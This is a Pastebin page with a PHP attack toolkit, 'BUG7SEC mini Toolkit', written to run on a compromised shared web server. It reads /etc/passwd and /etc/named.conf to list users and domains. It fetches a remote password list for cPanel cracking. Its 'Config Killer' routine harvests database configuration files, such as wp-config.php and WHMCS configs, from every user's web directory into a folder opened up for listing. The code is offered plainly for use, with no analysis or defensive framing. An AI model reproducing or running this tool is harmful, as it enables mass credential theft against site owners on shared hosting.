API tools faq
paste
Advertisement
bug7sec

BUG7SEC mini Toolkit © 2016

bug7sec
Apr 19th, 2016
190
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.70 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. error_reporting(0);
  3. ?><!DOCTYPE html>
  4. <html>
  5. <head>
  6. <title>BUG7SEC mini Toolkit &copy; 2016</title>
  7. <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js"></script>
  8. <style type="text/css">
  9. body{
  10.                 color: #3EF403;
  11.                 background-color: #141516;
  12.         }
  13. input {
  14.     border: dashed 1px;
  15.     border-color: #333;
  16.     BACKGROUND-COLOR: Black;
  17.     font: 8pt Verdana;
  18.     color: #0CFF37;
  19. }
  20.  
  21. select {
  22.     border: dashed 1px;
  23.     border-color: #333;
  24.     BACKGROUND-COLOR: Black;
  25.     font: 8pt Verdana;
  26.     color: #0CFF37;
  27. }
  28. textarea {
  29.     color: #fff;
  30.     background-color: #555;
  31.     border-style: dashed;
  32.     font: 9pt Monospace,'Courier New';
  33.     border-color: lime;
  34.     background-color: black;
  35. }
  36. ul {
  37.     list-style-type: none;
  38.     margin: 0;
  39.     padding: 0;
  40.     overflow: hidden;
  41.     text-align:center;
  42.     border-style: inherit;
  43. }
  44.  
  45. ul li {
  46.     float: center;
  47.     display:inline;
  48.     margin-left: 1px;
  49. }
  50. li a{
  51.     color:#3EF403;
  52.     text-decoration: none;
  53. }
  54. .container{
  55.     margin-left: 20%;
  56.     margin-right: 20%;
  57.     margin-bottom: 30px;
  58.     margin-top: 26px;
  59. }
  60.         </style>
  61.    
  62. </head>
  63. <body>
  64. <div class="container">
  65. <pre>
  66.        / .'
  67.  .---. \/ BUG7SEC mini Toolkit &copy; 2016
  68. (._.' \() By Shor7cut
  69.  ^"""^"
  70. </pre>
  71. <ul>
  72.   <li><a href="?">-[ Home ]-</a></li>
  73.   <li><a href="?shc=cp">-[ Cpanel Killer ]-</a></li>
  74.   <li><a href="?shc=ck">-[ Config Killer ]-</a></li>
  75. </ul>
  76. </div>
  77. <?php if($_GET['shc']=="cp"){?>
  78. <div class="container">
  79. <form action="" method="post">
  80.  <table style="width:100%">
  81.   <tr>
  82.     <td>Username</td>
  83.     <td>Password</td>
  84.     <td></td>
  85.   </tr>
  86.   <tr>
  87.         <td>
  88.             <textarea style="margin: 0px; width: 384px; height: 204px;"><?php error_reporting(0); if($_POST['upass']){bug7sec::users($_POST['etc']);}?></textarea>
  89.         </td>
  90.         <td>    
  91.             <textarea style="margin: 0px; width: 329px; height: 204px;"><?php error_reporting(0); if($_POST['upass']){bug7sec::pass($_POST['pass']);}?></textarea>
  92.         </td>
  93. </tr>
  94.     <tr>
  95.         <td>
  96.     <select name="etc">
  97.         <option value="/etc/passwd">/etc/passwd</option>
  98.         <option value="/etc/passwd-">/etc/passwd-</option>
  99.         <option value="/etc//passwd.OLD">/etc//passwd.OLD</option>
  100.         <option value="/etc/group">/etc/group</option>
  101.     </select>
  102.     <input name="pass"  value="https://pastebin.com/raw/nG3BR2nc" placeholder=" URL Password List" required="Link Nya mas">
  103.         </td>
  104.  
  105.         <td>
  106.         <input name="upass" type="submit" value="Get Username & Password">
  107.         <input name="gtpass" type="submit" value="Cpanel Cracker">
  108.         </td>
  109.     </tr>
  110. </table>
  111. </form>
  112. </div>
  113. <pre>
  114. <?php
  115. }else if($_GET['shc']=="ck"){?>
  116. <div class="container">
  117. <center>
  118. <form action="" method="post">
  119.         <input name="conkillers" type="submit" value="Config Killer">
  120.         <input name="passkiller" type="submit" value="Get Password">
  121. </form>
  122.     <?php
  123.         if($_POST['conkillers']){
  124.             bug7sec::configkiller();
  125.         }
  126.         if($_POST['passkiller']){
  127.             echo "pass;";
  128.         }
  129.     ?>
  130. </center>
  131. </div>
  132. <?php    
  133. }else{
  134. echo '<div class="container"><table style="width:100%">
  135.    <tr>
  136.        <td>'."-[ Domain : <font color=red>".bug7sec::countDomen()."</font> | Cpanel : <font color=red>".bug7sec::detectCPhost().'</font> ]-</td>
  137.    </tr>
  138.    <tr>
  139.        <td>
  140.            <textarea style="margin: 0px; width: 813px; height: 329px;">';
  141.                 bug7sec::domain();
  142. echo '</textarea>
  143.        </td>
  144.    </tr>
  145. </table></div>';
  146. }
  147. ?>
  148. </body>
  149. </html>
  150. <?php
  151. class bug7sec
  152. {
  153.     function users($url)
  154.     {
  155.         preg_match_all('/(.*?):x:/', bug7sec::fgt($url) , $match);
  156.         foreach ($match[1] as $key => $user) {
  157.             echo $user."\r\n";
  158.         }
  159.     }
  160.     function pass($url)
  161.     {
  162.         echo bug7sec::fgt($url);
  163.     }
  164.     function domain(){
  165.             preg_match_all('/zone \"(.*?)\"/m', file_get_contents("/etc/named.conf"), $matches);
  166.             foreach ($matches[1] as $key => $domen) {
  167.                 echo $domen."\r\n";
  168.             }
  169.     }
  170.     function countDomen(){
  171.         preg_match_all('/zone \"(.*?)\"/m', file_get_contents("/etc/named.conf"), $matches);
  172.         return count($matches[1]);
  173.     }
  174.     function detectCPhost(){
  175.         $re = "/#CPANEL (.*)/";
  176.         preg_match($re, file_get_contents("/etc/named.conf"), $matches);
  177.         if($matches[1]){
  178.             return $matches[1];
  179.         }else{
  180.             return "-_- gak tau";
  181.         }
  182.     }
  183.     function fgt($url){
  184.         return file_get_contents($url);
  185.     }
  186.  
  187.     function configkiller(){
  188.     $ckne = "~shor7cut";
  189.     rmdir($ckne);
  190.     mkdir($ckne, 0777);
  191.     $direc = array(
  192.         'home',
  193.         'home1',
  194.         'home2',
  195.         'home3',
  196.         'home4',
  197.         'home5',
  198.         'home6',
  199.         'home7',
  200.         'home8',
  201.         'home9',
  202.         'var/www',
  203.         'var/www/html',
  204.     );
  205.     $conkillers =    array(
  206.           "config/db.php",
  207.           "connection/db.php",
  208.           "wordpress/db.php",
  209.           "db.php",
  210.           "tomcat/conf/context.xml",
  211.           "inc/config.php",
  212.           "inc/koneksi.php",
  213.           "inc/configuration.php",
  214.           "home/config.php",
  215.           "home/koneksi.php",
  216.           "home/configuration.php",
  217.           "backend/config/main-local.php",
  218.           "app/etc/config.xml",
  219.           "app/etc/locale.xml",
  220.           "Configuration/Configuration.php",
  221.           "content/configuration.php",
  222.           "INJECTION/configuration.php",
  223.           "xcert/configuration.php",
  224.           "koneksi/koneksi.php",
  225.           "perpus/koneksi.php",
  226.           "log/koneksi.php",
  227.           "gis/koneksi.php",
  228.           "koneksi.php",
  229.           "koneksi.xml",
  230.           "lib/koneksi.php",
  231.           "config/koneksi.php",
  232.           "home/config/koneksi.php",
  233.           "wp-config.php",
  234.           "wordpress/wp-config.php",
  235.           "docs/wp-config.php",
  236.           "web/wp-config.php",
  237.           "wp/wp-config.php",
  238.           "press/wp-config.php",
  239.           "wordpress/beta/wp-config.php",
  240.           "news/wp-config.php",
  241.           "new/wp-config.php",
  242.           "blogs/wp-config.php",
  243.           "home/wp-config.php",
  244.           "blog/wp-config.php",
  245.           "protal/wp-config.php",
  246.           "site/wp-config.php",
  247.           "main/wp-config.php",
  248.           "test/wp-config.php",
  249.           "wp/beta/wp-config.php",
  250.           "beta/wp-config.php",
  251.           "joomla/configuration.php",
  252.           "protal/configuration.php",
  253.           "joo/configuration.php",
  254.           "cms/configuration.php",
  255.           "site/configuration.php",
  256.           "main/configuration.php",
  257.           "news/configuration.php",
  258.           "new/configuration.php",
  259.           "home/configuration.php",
  260.           "configuration.php",
  261.           "SSI.php",
  262.           "forum/SSI.php",
  263.           "forum/inc/config.php",
  264.           "forum/includes/config.php",
  265.           "upload/includes/config.php",
  266.           "cc/includes/config.php",
  267.           "vb/includes/config.php",
  268.           "vb3/includes/config.php",
  269.           "cpanel/configuration.php",
  270.           "panel/configuration.php",
  271.           "ubmitticket.php",
  272.           "manage/configuration.php",
  273.           "myshop/configuration.php",
  274.           "beta/configuration.php",
  275.           "includes/config.php",
  276.           "lib/config.php",
  277.           "conf_global.php",
  278.           "inc/config.php",
  279.           "incl/config.php",
  280.           "include/db.php",
  281.           "include/config.php",
  282.           "includes/functions.php",
  283.           "includes/dist-configure.php",
  284.           "connect.php",
  285.           "connection.php",
  286.           "mk_conf.php",
  287.           "config/koneksi.php",
  288.           "system/sistem.php",
  289.           "config.php",
  290.           "Settings.php",
  291.           "settings.php",
  292.           "sites/default/settings.php",
  293.           "smf/Settings.php",
  294.           "forum/Settings.php",
  295.           "forums/Settings.php",
  296.           "host/configuration.php",
  297.           "hosting/configuration.php",
  298.           "hosts/configuration.php",
  299.           "zencart/includes/dist-configure.php",
  300.           "shop/includes/dist-configure.php",
  301.           "whm/configuration.php",
  302.           "whmc/configuration.php",
  303.           "whmcs/configuration.php",
  304.           "whmc/WHM/configuration.php",
  305.           "whm/WHMCS/configuration.php",
  306.           "whm/whmcs/configuration.php",
  307.           "order/configuration.php",
  308.           "support/configuration.php",
  309.           "supports/configuration.php",
  310.           "oscommerce/includes/configure.php",
  311.           "oscommerces/includes/configure.php",
  312.           "shopping/includes/configure.php",
  313.           "sale/includes/configure.php",
  314.           "config.inc.php",
  315.           "amember/config.inc.php",
  316.           "clients/configuration.php",
  317.           "client/configuration.php",
  318.           "clientes/configuration.php",
  319.           "cliente/configuration.php",
  320.           "clientsupport/configuration.php",
  321.           "billing/configuration.php",
  322.           "billings/configuration.php",
  323.           "admin/conf.php",
  324.           "admin/config.php");
  325.         if(fwrite(fopen('shc/.htaccess', 'w'), "#Bug7sec Team\r\nOptions ExecCGI Includes IncludesNOEXEC SymLinksIfOwnerMatch Indexes\r\nDirectoryIndex configs.html\r\nRequire None\r\nSatisfy Any\r\n")){
  326.             echo "<br><font color=white>+</font> .htaccess telah terpasang<br>";
  327.         }else{
  328.             echo "<br><font color=red>+</font> .htaccess gagal terpasang<br>";
  329.         }
  330.         preg_match_all('/(.*?):x:/', bug7sec::fgt("/etc/passwd") , $match);
  331.         if($match[1]){
  332.             echo "<font color=white>+</font> ".count($match[1])." users<br>";
  333.         }else{
  334.              echo "<font color=red>+</font> null users<br>";
  335.         }
  336.         foreach ($match[1] as $key => $user) {
  337.             foreach ($conkillers as $key => $patch) {
  338.                 foreach ($direc as $key => $homodir) {
  339.                     $home = "/$homodir/$user/public_html/$patch";
  340.                     $configet = bug7sec::fgt($home);
  341.                     if(!$configet==""){
  342.                         if(eregi("wp-config.php", $home)){
  343.                             $db = fopen("~shor7cut/$user-wordpress.txt","w");
  344.                             fputs($db,$configet);
  345.                         }else {
  346.                             $db = fopen("~shor7cut/$user-".time().".txt","w");
  347.                             fputs($db,$configet);
  348.                         }
  349.                     }
  350.                 }
  351.             }
  352.         }
  353.             echo '<font color=red>-::[</font><a href="~shor7cut" target="_blank"><font color=white size=3 face=\"comic sans ms\">Config List</font></a><font color=red>]::-</font><br>';
  354.     }
  355. }
  356. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!